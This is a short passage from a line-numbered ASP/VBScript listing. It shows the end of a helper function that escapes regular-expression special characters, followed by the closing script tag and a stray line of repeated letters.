4153		str=Replace(str,"\","\\")
4154		str=Replace(str,".","\.")
4155		str=Replace(str,"?","\?")
4156		str=Replace(str,"+","\+")
4157		str=Replace(str,"(","\(")
4158		str=Replace(str,")","\)")
4159		str=Replace(str,"*","\*")
4160		str=Replace(str,"[","\[")
4161		str=Replace(str,"]","\]")
4162		regFormat=str
4163	End Function
4164%>
4165aaaaaaaaaaaa